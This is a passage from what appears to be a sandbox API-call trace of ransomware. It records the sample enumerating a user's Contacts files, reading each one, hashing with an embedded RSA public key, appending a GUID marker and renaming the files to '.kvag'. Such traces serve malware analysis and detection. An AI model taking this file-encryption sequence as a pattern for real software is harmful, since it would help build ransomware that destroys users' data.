KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.861] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.861] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.861] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.861] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.862] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.862] GetLastError () returned 0x0 [0118.862] SetLastError (dwErrCode=0x0) [0118.863] GetLastError () returned 0x0 [0118.863] SetLastError (dwErrCode=0x0) [0118.863] GetLastError () returned 0x0 [0118.863] SetLastError (dwErrCode=0x0) [0118.863] GetLastError () returned 0x0 [0118.863] SetLastError (dwErrCode=0x0) [0118.863] GetLastError () returned 0x0 [0118.863] SetLastError (dwErrCode=0x0) [0118.863] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.863] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.863] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.863] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.863] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.864] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0118.865] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.865] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.865] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.865] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.865] CloseHandle (hObject=0x61c) returned 1 [0118.866] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.kvag")) returned 1 [0118.868] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0118.868] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0118.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.868] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1171) returned 1 [0118.868] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.871] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.871] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.873] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x493, lpOverlapped=0x0) returned 1 [0118.873] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.873] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.873] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.873] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.874] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.874] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.874] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.874] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.874] SetLastError (dwErrCode=0x0) [0118.874] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] GetLastError () returned 0x0 [0118.875] SetLastError (dwErrCode=0x0) [0118.875] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.875] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.875] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.875] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.875] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.875] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x6778188 [0118.876] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.876] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.876] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.876] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.876] CloseHandle (hObject=0x61c) returned 1 [0118.877] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.kvag")) returned 1 [0118.878] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0118.878] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0118.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.879] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1177) returned 1 [0118.879] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.882] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.882] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.884] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x499, lpOverlapped=0x0) returned 1 [0118.884] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.884] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.884] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.884] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.885] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.885] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.885] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.885] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.885] GetLastError () returned 0x0 [0118.885] SetLastError (dwErrCode=0x0) [0118.885] GetLastError () returned 0x0 [0118.885] SetLastError (dwErrCode=0x0) [0118.885] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.886] GetLastError () returned 0x0 [0118.886] SetLastError (dwErrCode=0x0) [0118.887] GetLastError () returned 0x0 [0118.887] SetLastError (dwErrCode=0x0) [0118.887] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.887] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.887] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.887] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.887] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.887] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x6778188 [0118.887] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.887] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.888] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.888] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.888] CloseHandle (hObject=0x61c) returned 1 [0118.888] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.kvag")) returned 1 [0118.890] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.890] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0118.890] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0118.890] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0118.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.891] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=1174) returned 1 [0118.891] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.894] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.894] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.896] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x496, lpOverlapped=0x0) returned 1 [0118.896] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.896] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.896] lstrlenA (lpString="-----BEGIN PUBLIC 